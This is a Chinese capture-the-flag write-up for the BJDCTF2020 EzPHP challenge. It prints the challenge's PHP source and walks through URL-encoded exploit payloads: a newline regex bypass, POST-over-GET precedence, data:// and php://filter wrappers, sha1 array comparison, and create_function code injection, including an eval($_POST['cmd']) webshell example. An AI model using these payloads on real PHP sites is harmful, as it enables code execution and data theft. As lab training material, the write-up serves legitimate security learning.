[BJDCTF2020]EzPHP1

news2024/9/21 11:08:08

知识点:1. url编码绕过

               2. %0a绕过

               3. post优先级绕过

               4. php伪协议

               5. 数组的强类型比较绕过

               6. 取反绕过

进入之后发现了一个很帅气的页面😎~

看看网页源代码试试~

 是base32编码,尝试一下解码.

 https://www.qqxiuzi.cn/bianma/base.php

解码出来后是一个1nD3x.php的文件 ,去访问一下.

开始代码审计~

<?php
// 显示文件源码
highlight_file(__FILE__);

// 关闭所有错误报告
error_reporting(0); 

// 设定默认的文件名和变量
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

// 欢迎信息
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

// 检查$_SERVER全局数组是否存在
if($_SERVER) { 
    // 如果查询字符串包含特定的字符或关键字则终止脚本执行
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )
        die('You seem to want to do something bad?'); 
}

// 检查GET参数'file'是否是合法的URL
if (!preg_match('/http|https/i', $_GET['file'])) {
    // 检查GET参数'debu'是否为'aqua_is_cute'且不等于这个值
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    }
} else die('fxck you! What do you want to do ?!');

// 遍历所有请求参数,检查是否有英文字符
if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!');
    }
}

// 检查文件内容是否为特定字符串
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

// 检查sha1($shana)是否与sha1($passwd)相等且两者的值不同
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    // 提取GET参数中的flag变量
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

// 检查$code和$arg是否包含危险的字符串或命令
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else { 
    // 包含flag.php文件
    include "flag.php";
    // 调用$code函数并传递$arg参数
    $code('', $arg);
}

首先我们要绕过的是.

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

知识点:$_SERVER['QUERY_STRING'] 是一个预定义的 PHP 变量,它包含了 URL 中跟在问号 (?) 后面的所有数据,即 GET 请求参数的原始字符串形式.  

所以我们GET请求的键值对都绕绕过这个preg_math(),我们可以用url编码来绕过,因为当我们使用GET参数执行过程中PHP会自动进行url解码,而SERVER不会.

下面是url编码的python代码.

value=input("url : ")
letter=list(value)
letter_new=''
for i in letter:
    if i=="=" or i=="&" or i=="[" or i=="]" or i==";" or i=="//":
        letter_new+=i
        continue
    letter_new+="%"+hex(ord(i))[2:]
print(letter_new)

之后我们来绕过下面的preg_math().

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!'); 

我们可以传入两个参数分别为file和debu,而我们只需要传入debu的参数便可以绕过, 由于preg_math()是非/s的模式,所以我们可以使用%0a来绕过.

知识点:/s 模式被称为“单行”模式。在正则表达式中,默认情况下,.(点)字符匹配任何单个字符,除了换行符 \n。然而,当你在正则表达式中包含 /s 标志时,. 将匹配包括换行符在内的任何单个字符,我们在尾部加上%0a,preg_math()不会匹配到它,从而绕过. 

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a

由于第一个preg_math()的限制使用url编码.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

开始绕过第三个过滤代码.

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}  

循环$_REQUEST中的value并确保他们不是字母. 

我们可以利用POST请求的优先级比GET请求高的特点来绕过 .

知识点:1.在默认情况下(或当 request_order 包含 "P" 在 "G" 之后时),如果 $_GET 和 $_POST 包含相同名称的键,$_REQUEST 中的值将是 $_POST 里的那个参数的值。

               2.在PHP中,$_REQUEST 数组包含了 $_GET、$_POST 和 $_COOKIE 的内容(如果有的话)。

我们可以构造以下payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65

post: debu=1

值得注意的是上面提到的$_COOKIE,所以我们要确保$_COOKIE的value不存在,或者为数字.

开始绕过第四个过滤语句.

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>"); 

这里要使我们传入的file参数中,读取的file文件内容为 debu_debu_aqua,我们可以使用php://input或者是data://text,plain两个为协议来绕过,并且我们需要绕过第一个preg_math(),所以需要进行url编码和base64编码,同时也需要绕过第三个过滤.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua

post:debu=1&file=2

url编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

debu=1&file=2

开始绕过第五个过滤.

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
} 

典型了强类型比较数组绕过,不要忘了url编码.

开始构造payload.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2

post:debu=1&file=2

编码后为.

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32

post:debu=1&file=2

开始最后一个过滤绕过.

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>

这里可以使用create_function()代码注入. 

知识点:     

$myfunc = create_function('$a, $b', 'return $a+$b;');

相当于:

function myfunc($a, $b){
    return $a+$b;
}

若$b对传入的值没有限制,则可以使用$code=return $a+$b;}eval($_POST['cmd']);//该payload构造命令执行,也就是:

function myfunc($a, $b){
	return $a+$b;
}
eval($_POST['cmd']);//}

所以我们可以通过倒数第二个的过滤中的flag传参来控制 code和arg两个参数.

由于很多函数被禁用了,我们使用get_defined_vars()读取所有的变量与值来构造payload.

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

// 等价于
function{
}
var_dump(get_defined_vars());//}

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

post:debu=1&file=2

url编码为. 

http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

得到了一张图片和所有的键值对.

flag灏卞湪杩欓噷锛屼綘鑳芥嬁鍒板畠鍚楋紵array(13) { ["_GET"]=> array(5) { ["debu"]=> string(13) "aqua_is_cute " ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["_POST"]=> array(2) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["_SERVER"]=> array(65) { ["PHP_EXTRA_CONFIGURE_ARGS"]=> string(77) "--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi" ["KUBERNETES_SERVICE_PORT"]=> string(3) "443" ["KUBERNETES_PORT"]=> string(20) "tcp://10.240.0.1:443" ["HOSTNAME"]=> string(3) "out" ["PHP_INI_DIR"]=> string(18) "/usr/local/etc/php" ["SHLVL"]=> string(1) "1" ["HOME"]=> string(14) "/home/www-data" ["PHP_LDFLAGS"]=> string(34) "-Wl,-O1 -Wl,--hash-style=both -pie" ["PHP_CFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_MD5"]=> string(0) "" ["PHP_VERSION"]=> string(6) "7.3.13" ["GPG_KEYS"]=> string(81) "CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D" ["PHP_CPPFLAGS"]=> string(83) "-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64" ["PHP_ASC_URL"]=> string(62) "https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror" ["PHP_URL"]=> string(58) "https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror" ["KUBERNETES_PORT_443_TCP_ADDR"]=> string(10) "10.240.0.1" ["PATH"]=> string(60) "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" ["KUBERNETES_PORT_443_TCP_PORT"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP_PROTO"]=> string(3) "tcp" ["KUBERNETES_SERVICE_PORT_HTTPS"]=> string(3) "443" ["KUBERNETES_PORT_443_TCP"]=> string(20) "tcp://10.240.0.1:443" ["PHPIZE_DEPS"]=> string(78) "autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c" ["KUBERNETES_SERVICE_HOST"]=> string(10) "10.240.0.1" ["PWD"]=> string(13) "/var/www/html" ["PHP_SHA256"]=> string(64) "57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228" ["FLAG"]=> string(4) "null" ["USER"]=> string(8) "www-data" ["HTTP_X_FORWARDED_FOR"]=> string(25) "121.26.229.182, 127.0.0.1" ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" ["HTTP_REMOTE_HOST"]=> string(14) "121.26.229.182" ["HTTP_REFERER"]=> string(237) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32" ["HTTP_PRIORITY"]=> string(6) "u=0, i" ["HTTP_ORIGIN"]=> string(61) "http://adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn:81" ["HTTP_CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["HTTP_ACCEPT_LANGUAGE"]=> string(59) "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" ["HTTP_ACCEPT_ENCODING"]=> string(13) "gzip, deflate" ["HTTP_ACCEPT"]=> string(109) "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8" ["HTTP_CONTENT_LENGTH"]=> string(2) "13" ["HTTP_USER_AGENT"]=> string(80) "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0" ["HTTP_HOST"]=> string(51) "adb369d6-5f83-416c-b1d6-61ac762e4be7.node5.buuoj.cn" ["SCRIPT_FILENAME"]=> string(23) "/var/www/html/1nD3x.php" ["REDIRECT_STATUS"]=> string(3) "200" ["SERVER_NAME"]=> string(9) "localhost" ["SERVER_PORT"]=> string(2) "80" ["SERVER_ADDR"]=> string(12) "10.244.80.11" ["REMOTE_PORT"]=> string(5) "36758" ["REMOTE_ADDR"]=> string(12) "10.244.80.35" ["SERVER_SOFTWARE"]=> string(12) "nginx/1.16.1" ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" ["REQUEST_SCHEME"]=> string(4) "http" ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" ["DOCUMENT_ROOT"]=> string(13) "/var/www/html" ["DOCUMENT_URI"]=> string(10) "/1nD3x.php" ["REQUEST_URI"]=> string(276) "/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["SCRIPT_NAME"]=> string(10) "/1nD3x.php" ["CONTENT_LENGTH"]=> string(2) "13" ["CONTENT_TYPE"]=> string(33) "application/x-www-form-urlencoded" ["REQUEST_METHOD"]=> string(4) "POST" ["QUERY_STRING"]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" ["FCGI_ROLE"]=> string(9) "RESPONDER" ["PHP_SELF"]=> string(10) "/1nD3x.php" ["REQUEST_TIME_FLOAT"]=> float(1720874272.6966) ["REQUEST_TIME"]=> int(1720874272) ["argv"]=> array(1) { [0]=> string(265) "%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function" } ["argc"]=> int(1) } ["_REQUEST"]=> array(5) { ["debu"]=> string(1) "1" ["file"]=> string(1) "2" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["flag"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } } ["file"]=> string(32) "data://text/plain,debu_debu_aqua" ["shana"]=> array(1) { [0]=> string(1) "1" } ["passwd"]=> array(1) { [0]=> string(1) "2" } ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" ["value"]=> array(2) { ["arg"]=> string(32) "}var_dump(get_defined_vars());//" ["code"]=> string(15) "create_function" } ["ffffffff11111114ggggg"]=> string(89) "Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333" } 

最后面显示 I hid the real flag in rea1fl4g.php,所以我们要找的flag就在rea1f14g.php这个文件中.

首先最后一个过滤了inc 可以用require以代替,flag可以用base64编码来绕过,我们可以先包含flag文件后再用var_dump(get_defined_vars())来读取flag.

require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

url编码后为. 

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}%72%65%71%75%69%72%65(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(%63%6d%56%68%4d%57%5a%73%4e%47%63%75%63%47%68%77));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

结果为. 

实际上呢,得到了假的flag,这是不可以的,下面的源代码.

<?php
echo "咦,你居然找到我了?!不过看到这句话也不代表你就能拿到flag哦!";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{2622b627-3f03-4c10-9cdd-ba90b42de5e8}";
unset($rea1_f1114g);

 包含了flag文件后$real_f1114g会被unset掉,所以我们可以用php为协议去读取该文件的内容.

php://filter/convert.base64-encode/resource=rea1fl4g.php

之后取反绕过.

<?php

$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

开始构造payload.

http://12fb6d6a-1ce1-44de-9019-714bebad00eb.node5.buuoj.cn:81/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%61%72%67]=}}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//&%66%6c%61%67[%63%6f%64%65]=create_function

post:debu=1&file=2

结果如下. 

PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFne2MyNGVlOTE3LTQyZjMtNGYxMy04NzJjLTc1YzdmZjkzZTA3OH0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo= 

将其进行base64解码.

https://www.toolhelper.cn/EncodeDecode/Base64

得到flag,游戏结束~ 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1928853.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

qt 创建一个左侧边线拖拽的矩形

1.概要 2.代码 2.1 代码第一版 在Qt中&#xff0c;要创建一个可以向左侧拖拽边线的矩形&#xff0c;你需要自定义一个QGraphicsRectItem的子类&#xff0c;并重写其事件处理函数来响应鼠标的拖拽动作。以下是一个简单的实现示例&#xff1a; #include <QApplication>…

DHCP服务、FTP服务

一、DHCP 1.1 DHCP是什么 DHCP&#xff08;Dynamic Host Configuration Protocol&#xff0c;动态主机配置协议&#xff09;是一种网络协议&#xff0c;用于自动分配 IP 地址和其他网络配置信息给网络中的设备 1.2 DHCP的好处 自动化: 减少了手动配置 IP 地址和网络参数的工…

C++客户端Qt开发——常用控件(多元素控件)

5.多元素控件 Qt中提供的多元素控件有&#xff1a; QListWidget QListView QTablewidget QTableview QTreewidget QTreeview xxWidget和xView之间的区别 以QTableWidget和QTableView为例. QTableView是基于MVC设计的控件.QTableView自身不持有数据.使用QTableView的时候需要…

【密码学】密码学数学基础:剩余系

不得不啃的密码学数学基础之剩余系是个啥&#xff1f;数学里面有好多的定义都有前置的数学概念&#xff0c;要想弄懂剩余系还得先说说“同余”。 一、同余 那么“同余”有是个什么呢&#xff1f;在谈论“同余”之前&#xff0c;我们先圈定个讨论的范围。接下来讨论的都是整数集…

PyTorch Autograd内部实现

优化&#xff1a;如果is_leafFalse&#xff0c;则说明不需要该Tensor的grad&#xff0c;所以&#xff0c;grad_fn直接将output梯度传递给下一个grad_fn了&#xff0c;绕开对该Tensor的grad的更新&#xff1b;

C语言 | Leetcode C语言题解之第235题二叉搜索树的最近公共祖先

题目&#xff1a; 题解&#xff1a; struct TreeNode* lowestCommonAncestor(struct TreeNode* root, struct TreeNode* p, struct TreeNode* q) {struct TreeNode* ancestor root;while (true) {if (p->val < ancestor->val && q->val < ancestor-&g…

信息系统项目管理师(高项)—学习笔记二

第一章 以下是上一篇&#xff08;信息系统项目管理师&#xff08;高项&#xff09;—学习笔记&#xff09;的续写&#xff0c;因为是之前记录的&#xff0c;这一篇还是细致到每一个小节的内容&#xff0c;有些过于复杂了&#xff0c;后续会简化~ 1.3 现代化创新发展 党的十九…

干货丨ChatGPT高阶玩法(上)

正文共1321字 预计阅读时间4分钟 是的,你没有看错,上面这段这么像人写的内容其实是由ChatGPT这个机器人AI生成的(我只稍加修改了几个字),发送下面第一个提示词口令,然后加以进一步引导并不断改进就可以得到你想要的结果,具体操作见文中图片。 使用说明 以下【】里的内…

Unable to obtain driver using Selenium Manager: Selenium Manager failed解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

《Windows API 每日一练》10.1 模态对话框

对话框分“模态”和“非模态”两种&#xff0c;其中模态对话框最为常见。当程序显示一个模态对话框时&#xff0c;用户不能在对话框和该程序的其他窗口之间进行切换。用户必须先明确地终止该对话框。这通常由单击OK或Cancel按钮来实现。但是当对话框正在显示时&#xff0c;用户…

[Linux]基本指令(二)

一些剩下的指令部分 mv指令&#xff08;重要&#xff09; mv 命令是 move 的缩写&#xff0c;可以用来移动文件或者将文件改名&#xff08; move (rename) files &#xff09;&#xff0c;是 Linux 系统下常用的命令&#xff0c; 经常用来备份文件或者目录。 语法 : mv [ 选项…

京东.Vision首登苹果Vision Pro 背后的技术探索

去年6月&#xff0c;苹果正式发布首款头显设备Apple Vision Pro&#xff0c;今年6月28号&#xff0c;Apple Vision Pro正式在中国发售。京东.Vision作为首批原生应用登陆Vision Pro平台&#xff0c;首期以家电家居与潮流数码产品作为切入口&#xff0c;未来将逐步拓展至全品类&…

基于 jenkins 部署接口自动化测试项目!

引言 在现代软件开发过程中&#xff0c;自动化测试是保证代码质量的关键环节。通过自动化测试&#xff0c;可以快速发现和修复代码中的问题&#xff0c;从而提高开发效率和产品质量。而 Jenkins 作为一款开源的持续集成工具&#xff0c;可以帮助我们实现自动化测试的自动化部署…

python编程:从入门到实践(第三版) 笔记

文章目录 资源网站:https://www.ituring.com.cn/book/3038配置VSCode推荐资源网站推荐资源网址 资源网站:https://www.ituring.com.cn/book/3038 配置VSCode 推荐资源网站 推荐资源网址 英文版主页&#xff1a; https://ehmatthes.github.io/pcc_3e 中文版主页&#xff1a; h…

【人工智能】Transformers之Pipeline(二):自动语音识别(automatic-speech-recognition)

​​​​​​​ 目录 一、引言 二、自动语音识别&#xff08;automatic-speech-recognition&#xff09; 2.1 概述 2.2 技术原理 2.2.1 whisper模型 2.2.2 Wav2vec 2.0模型 2.3 pipeline参数 2.3.1 pipeline对象实例化参数​​​​​​​ 2.3.2 pipeline对象使用参数…

MFC程序创建word,创建表格,写入数据

文章目录 1、MFC程序功能&#xff1a;2、MFC程序实现2.1 创建项目2.2 添加word操作类2.3 添加word资源2.4 编写代码&#xff0c;实现将数据写入到word2.5 运行程序、验证功能3、工程代码下载 1、MFC程序功能&#xff1a; 创建word文档&#xff1b;向文档中写入字符串&#xff…

【首发】分享一款三网话费余额查询的API系统

描述 对于计算机专业的小伙伴来说&#xff0c;多熟悉一个系统就多一份就业机会&#xff01; 今天给大家分享一款三网话费余额查询的API系统 亲测可运行&#xff01;&#xff01; 内容 目前主要的内容以php为主&#xff0c;对于学习php有比较大的帮助&#xff01; 但是网络上…

爬虫兽-抖音评论提取截流工具|评论爬虫|视频评论提取-拓客

抖音评论提取软件使用说明 抖音视频评论提取到的内容&#xff1a;1&#xff1a;视频名称 2&#xff1a;视频作者 3&#xff1a;作者地址 4&#xff1a;视频地址 5&#xff1a;评论人昵称。6&#xff1a;评论人主页地址。7&#xff1a;评论内容 8&#xff1a;评论日期 一&…

品牌形象的智能塑造:Kompas.ai如何构建品牌视觉识别

品牌形象是企业在消费者心中构建的独特印象&#xff0c;它对于品牌识别和记忆度至关重要。一个一致且具有辨识度的品牌形象能够帮助企业在激烈的市场竞争中脱颖而出。Kompas.ai&#xff0c;作为一款智能设计工具&#xff0c;正帮助品牌塑造和维护其独特的视觉识别系统。 一致的…

绿色积分引领消费增值浪潮“

尊敬的顾客们&#xff0c;大家好&#xff01;在此&#xff0c;我满怀热情地与您分享一个革命性的消费新观念——消费增值&#xff0c;旨在让您的每一笔消费都焕发出前所未有的价值&#xff01; 长久以来&#xff0c;我们的消费习惯似乎总是单向的&#xff1a;花钱&#xff0c;…